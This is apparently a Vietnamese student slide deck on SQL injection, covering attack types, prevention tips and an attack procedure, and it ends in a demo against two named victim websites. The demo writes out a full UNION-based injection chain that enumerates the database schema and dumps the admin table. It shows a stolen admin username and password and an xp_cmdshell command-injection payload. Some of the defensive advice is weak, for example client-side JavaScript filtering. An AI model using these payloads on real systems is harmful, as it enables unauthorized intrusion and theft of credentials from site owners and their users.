SQL INJECTION
•
SQL Injection là gì?
•
Các dạng tấn công bằng SQL
Injection.
•
Cách phòng tránh SQL Injection.
•
Quy trình thực hiện.
•
Demo
Tổng Quan
•
SQL Injection là một kĩ thuật cho phép những kẻ
tấn công thi hành các câu lệnh truy vấn SQL bất
hợp pháp bằng cách lợi dụng lỗ hổng trong việc
kiểm tra dữ liệu nhập từ các ứng dụng web.
•
Cho phép kẻ tấn công có toàn quyền, hiệu
chỉnh trên cơ sở dữ liệu của ứng dụng.
•
Lỗi này thường xảy ra trên các ứng dụng web có
dữ liệu được quản lí bằng các hệ quản trị CSDL
như SQL Server, Oracle, DB2, Sysbase.
Các dạng tấn công
•
Có bốn dạng thông thường bao gồm:
1. Vượt qua kiểm tra lúc đăng nhập
(authorization bypass).
2. Sử dụng câu lện SELECT.
3. Sử dụng câu lệnh INSERT.
4. Sử dụng các stored-procedures [2],
[3].
Authorization bypass
•
Với dạng tấn công này, tin tặc có thể
dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu
lệnh SQL thao tác trên cơ sở dữ liệu
của ứng dụng web.
Sử dụng câu lện SELECT
•
Dạng tấn công này phức tạp hơn. Để
thực hiện được kiểu tấn công này, kẻ
tấn công phải có khả năng hiểu và lợi
dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm
yếu khởi đầu cho việc tấn công.
Sử dụng câu lệnh INSERT
•
Thông thường các ứng dụng web cho
phép người dùng đăng kí một tài khoản để
tham gia.
•
Chức năng không thể thiếu là sau khi
đăng kí thành công, người dùng có thể
xem và hiệu chỉnh thông tin của mình.
•
SQL injection có thể được dùng khi hệ
thống không kiểm tra tính hợp lệ của
thông tin nhập vào.
Stored-procedures
•
Việc tấn công bằng stored-procedures sẽ
gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'.
•
Ví dụ, nếu ta thay đoạn mã tiêm vào dạng:
' ; EXEC xp_cmdshell ‘cmd.exe dir C: '.
Lúc này hệ thống sẽ thực hiện lệnh liệt kê
thư mục trên ổ đĩa C:\ cài đặt server. Việc
phá hoại kiểu nào tuỳ thuộc vào câu lệnh
đằng sau cmd.exe.
Cách phòng tránh
•
Kiểm soát chặt chẽ dữ liệu nhập vào:
•
Thiết lập cấu hình an toàn cho hệ quản trị
cơ sở dữ liệu
•
Sử dụng Javascript để hiệu chỉnh các xâu
người dùng nhập vào từ client.
•
Dùng thủ tục lưu trữ (store procedure).
•
Tạo xâu truy vấn chuẩn trên server.
•
Dùng PHP một cách đơn giản
Quy trình thực hiện
•
Tìm kiếm mục tiêu
•
Kiểm tra chỗ yếu của trang web.
•
Xác định tên của các column trong table.
•
Nhận output của câu query.
•
Nhận dữ liệu qua ‘database using ODBC
error message‘.
•
Thu thập các dữ liệu quan trọng.
•
Thay đổi dữ liệu (Update/Insert) của
CSDL
Demo
•
Tool sử dụng:
1. Add-on cho firefox: HackBar 1.4.2
2.
3. Web Admin Finder v2.0
•
Victim:
1. />2. />
Mục đích
•
Khai thác lỗi của 2 website này.
•
Lấy được username, password của
người quản trị.
•
Giao diện chính:
Khai thác lỗi
•
/>wsdetails.php?id=163'
•
/>wsdetails.php?id=163 order by [n]
•
/>wsdetails.php?id=163 union select
1,2,3,4,5,6,7,8,9,10,11,12,13
•
/>wsdetails.php?id=-163 union select
1,2,3,4,5,6,7,8,9,10,11,12,13
•
/>wsdetails.php?id=-163 union select
1,version(),3,4,5,6,7,8,9,10,11,12,13
•
/>wsdetails.php?id=-163 union select
1,group_concat(table_name),3,4,5,6,7,8,9,
10,11,12,13 from
information_schema.tables where
table_schema=database()
•
/>wsdetails.php?id=-163 union select
1,group_concat(column_name),3,4,5,6,7,8
,9,10,11,12,13 from
information_schema.columns where
table_schema=database()
•
/>wsdetails.php?id=-163 union select
1,concat(username, 0x2f,
password),3,4,5,6,7,8,9,10,11,12,13 from
admin
Lấy username, password
•
Lấy được tất cả username và
password của những người quản trị
hệ thống.
•
Thực hiện quá trình đăng nhập.
•
/>/loginadmin.php
•
Username: thang
•
Password: Phat6
•
Giao diện chính:
•
/>mod=mausp&idsp=62'